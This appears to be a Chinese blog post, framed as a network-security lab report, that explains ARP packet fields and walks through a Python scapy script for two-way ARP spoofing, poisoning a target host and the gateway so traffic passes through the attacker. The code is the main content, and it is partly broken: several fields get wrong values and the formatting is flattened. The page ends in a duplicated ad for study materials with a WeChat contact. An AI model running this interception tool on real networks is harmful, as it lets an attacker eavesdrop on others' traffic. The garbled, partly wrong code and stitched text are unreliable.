我的网络安全第三次实验汇报,你真的知道网络安全按下开机键到启动发生什么吗

  1. 本机(攻击方)向目标主机发送数据报文,告诉目标主机:我是网关

在这里插入图片描述

由此可以得出编程的大致思路:

  • 学会 构造数据包发送数据包:利用 python 的 scapy 模块
  • 了解 ARP报文的结构,才知道要发送什么样的报文(例如我是目标主机、我是网关这种包要如何发出)

代码大体结构:

  • 获取必要的参数(获取一些 构造 ARP 包必要的参数)

  • 进行双向欺骗(构造 ARP 包并发送,开始进行欺骗)

  • 缓冲表修复(攻击结束后,让目标重新可以上网)

了解 scapy 模块


scapy官方文档

scapy 是一个 python 模块,使用简单,作用是:构造各种数据包

我们编写 arpspoof工具 就需要用它来 构造 ARP 数据包 并且发送。

了解 ARP 报文结构


报文结构是十分复杂的,但是对我们来说,要了解的其实没有那么多。

对我们来说只要关心 操作码源硬件地址源协议地址目标硬件地址目标协议地址

ARP 报文结构分为两部分:以太网链路层 (所有报文共有的)和 ARP 报文数据

在这里插入图片描述

(下面的英文单词要了解一下,因为编程中变量命名的规范都是根据这个来的)

以太网链路层

  • 目标以太网地址:目标 MAC 地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。

dst —— destination:目标

  • 源以太网地址:发送方 MAC 地址。

src —— source:源

  • 帧类型:以太类型,ARP 为 0x0806。

type:类型

ARP 报文数据

  • 硬件类型:如以太网(0x0001)、分组无线网。

hwtype —— hardware + type

  • 协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。

ptype —— protocol + type

  • 硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。

hwlen —— hardware + type

  • 协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。

plen —— protocol + length


上面的部分基本都是固定,下面才是是我们需要了解的。

  • 操作码:操作码, 默认为 1,1表示请求,2表示应答(我们用的都是2)

op —— operation

  • 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址

hwsrc —— hardware + source

  • 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址

psrc —— protocol + source

  • 目标硬件地址:n个字节,n由硬件地址长 度得到,一般为目标MAC地址

hwdst —— hardware + destination

  • 目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址

pdst —— protocol + destination

完整报文格式:对我们来说只需要关心 操作码源MAC地址源IP地址目标MAC地址目标IP地址

在这里插入图片描述

使用 scapy 模块 查看 报文结构

======================================================================================

from scapy.all import *

查看默认的以太网头部:

LS(Ether()) # 查看默认的以太网头部

dst : DestMACField = ‘ff:ff:ff:ff:ff:ff’ (None)

src : SourceMACField = ‘18:1d:ea:a1:f7:34’ (None)

type : XShortEnumField = 36864 (36864)

查看 ARP报文:

ls(ARP()) # 查看ARP报文

hwtype : XShortField = 1 (1)

ptype : XShortEnumField = 2048 (2048)

hwlen : FieldLenField = None (None)

plen : FieldLenField = None (None)

op : ShortEnumField = 1 (1)

hwsrc : MultipleTypeField = ‘18:1d:ea:a1:f7:34’ (None)

psrc : MultipleTypeField = ‘192.168.3.3’ (None)

hwdst : MultipleTypeField = ‘00:00:00:00:00:00’ (None)

pdst : MultipleTypeField = ‘0.0.0.0’ (None)

代码编写


引入需要的模块

#-- coding:utf-8 --

from scapy.all import *

from scapy.layers.l2 import ARP, getmacbyip

import sys

获取必要的参数(构造ARP)

为什么需要这些参数,后面 双向欺骗 的时候会说到,先了解下获取哪些参数。

进行 ARP 欺骗需要以下的必要参数:网卡网关IP(网关MAC)、目标IP(目标MAC)

  • 【网卡】(interface):Kali 下使用 ifconfig 查看

  • 【网关 IP 地址】(gateway_ip):Kali 下使用 route -n 查看,

网关 MAC 地址(gateway_mac):通过 getmacbyip(gateway_ip) 获取

  • 【目标主机 IP 地址】(target_ip):Windows 下使用 ipconfig /all 查看

目标主机 MAC 地址(target_mac):通过 getmacbyip(target_ip) 获取

def main():

conf.verb = 0 # 关闭提示信息

网卡 (在kali上运行该脚本)

interface = “eth0”

conf.iface = interface # 设置网卡

网关 IP 地址

gateway_ip = “192.168.3.1”

gateway_ip = input(“请输入当前局域网的网关IP地址:”)

目标主机 IP 地址

target_ip = “192.168.3.3”

target_ip = input("请输入你想攻击的IP地址: ")

print(“[*] 网卡: %s”%interface )

获取网关 MAC 地址

gateway_mac = getmacbyip(gateway_ip)

if gateway_mac is None:

print(“[!] 获取网关MAC失败. Exiting…”)

sys.exit(0)

else:

print(“[*] 网关: %s MAC: %s”%(gateway_ip, gateway_mac))

获取目标主机 MAC 地址

target_mac = getmacbyip(target_ip)

if target_mac is None:

print(“[!] 获取目标主机MAC失败. Exiting…”)

sys.exit(0)

else:

print(“[*] 目标主机: %s MAC: %s”%(target_ip, target_mac))

获取了 【网关IP】、【网关MAC】、【目标IP】、【目标MAC】 后, 开始进行 ARP双向欺骗

attack_target(gateway_ip, gateway_mac, target_ip, target_mac)

if name == “main”:

main()

进行双向欺骗

双向欺骗指的是:本机(攻击方) 同时欺骗 目标主机(被攻击方)网关

  1. 本机(攻击方)向网关发送数据报文,告诉网关:我是目标主机

  2. 本机(攻击方)向目标主机发送数据报文,告诉目标主机:我是网关

在这里插入图片描述


经过上面获取参数,我们已经获得了:网关IP、网关MAC、目标IP、目标MAC 。

那么本机(攻击方)要如何告诉网关,我是目标主机呢?

就是通过 ARP 包的操作码源MAC地址源IP地址目标MAC地址目标IP地址格式

其实就是构造一个 ARP 包,然后将 ARP 包的报文格式中,以上属性分别设置一下:

  • 操作码设置为 2,表示 应答(这个就当固定即可)

  • 将这个包的 源IP地址 设置为 目标主机的 IP 地址,相当于是说:我是目标主机

  • 目标MAC地址目标IP地址 都设置为 网关,表示这个包要发给 网关

欺骗网关, 我是目标主机

‘’’

发送给网关(gateway_ip)

欺骗它:

我的 IP 是 target_ip(我是目标主机)

我的 MAC地址 是 hwsrc(默认本机)

‘’’

poison_gateway = ARP() # 构造 ARP包

poison_gateway.op = 2 # ARP应答

poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)

poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关

poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关


那么本机(攻击方)要如何告诉目标主机,我是网关呢?和上面几乎一样:

构造一个 ARP 包,然后将 ARP 包的报文格式中,做以下设置:

  • 操作码设置为 2,表示 应答(这个就当固定即可)

  • 将这个包的 源IP地址 设置为 网关的IP地址,相当于是说:我是网关

  • 目标MAC地址目标IP地址 都设置为 目标主机,表示这个包要发给 目标主机

开始欺骗目标主机, 我是网关

‘’’

发送给目标主机(target_ip)

欺骗它:

我的 IP 是 gateway_ip(我是网关)

我的 MAC地址 是 hwsrc(默认本机)

‘’’

poison_target = ARP() # 构造 ARP包

poison_target.op = 2 # [操作码]ARP应答

poison_target.psrc = gateway_ip # [源IP地址]我的 IP 是 gateway_ip(我是网关)

poison_target.pdst = target_ip # [目标 IP 地址]

poison_target.hwdst = target_mac # [目标 MAC 地址]

完整的实现双向欺骗的代码:

‘’’

进行双向欺骗

‘’’

def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):

‘’’

首先使用 scapy 构造 ARP包, ARP 报文结构详见笔记

[op]: 操作码, 默认为 1, 对我们来说固定使用 2

1为 ARP请求, 2为 ARP应答

[hwsrc]: 发送方 MAC 地址, 用于告诉对方我的 MAC 地址是什么, 默认为本机, 采用默认即可

hw —— hardware:硬件, src —— source:源, 也就是自己

[psrc]: 发送方 IP 地址, 用于告诉对方我的 IP 地址是什么, 可以用来【伪装】

下面两个属性决定报文发给谁:

[hwdst]: 目标 MAC 地址

dst —— destination:目的地

[pdst]: 目标 IP 地址

‘’’

开始欺骗目标主机, 我是网关

‘’’

发送给目标主机(target_ip)

欺骗它:

我的 IP 是 gateway_ip(我是网关)

我的 MAC地址 是 hwsrc(默认本机)

‘’’

poison_target = ARP() # 构造 ARP包

poison_target.op = 2 # ARP应答

poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是网关)

poison_target.pdst = target_ip # 目标 IP 地址

poison_target.hwdst = target_mac # 目标 MAC 地址

欺骗网关, 我是目标主机

‘’’

发送给网关(gateway_ip)

欺骗它:

我的 IP 是 target_ip(我是目标主机)

我的 MAC地址 是 hwsrc(默认本机)

‘’’

poison_gateway = ARP() # 构造 ARP包

poison_gateway.op = 2 # ARP应答

poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)

poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关

poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关

print(“[*] 正在进行ARP投毒. [CTRL-C 停止]”)

while True:

try:

不停的发送 ARP包

send(poison_target)

send(poison_gateway)

休眠一下, 避免太频繁的欺骗, 影响网络

time.sleep(2)

捕获键盘中断

except KeyboardInterrupt:

进行 ARP缓冲修复

restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

break

print(“[*] ARP投毒结束…”)

缓冲表修复

讲到这里估计时间已经很紧了,所以这个就略过吧;

只需要知道这个的作用是 攻击结束后,让目标重新可以上网

‘’’

arp 缓冲表恢复

‘’’

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):

print(“[*] 恢复ARP缓冲…”)

send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,

hwdst=“ff:ff:ff:ff:ff:ff”, hwsrc=gateway_ip), count=5)

send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,

hwdst=“ff:ff:ff:ff:ff:ff”, hwsrc=target_mac))

测试脚本


将脚本复制到 linux 下,python3 arpspoof.py 运行即可。

将脚本改的更通用


自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-J06Wuibx-1712419788170)]

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值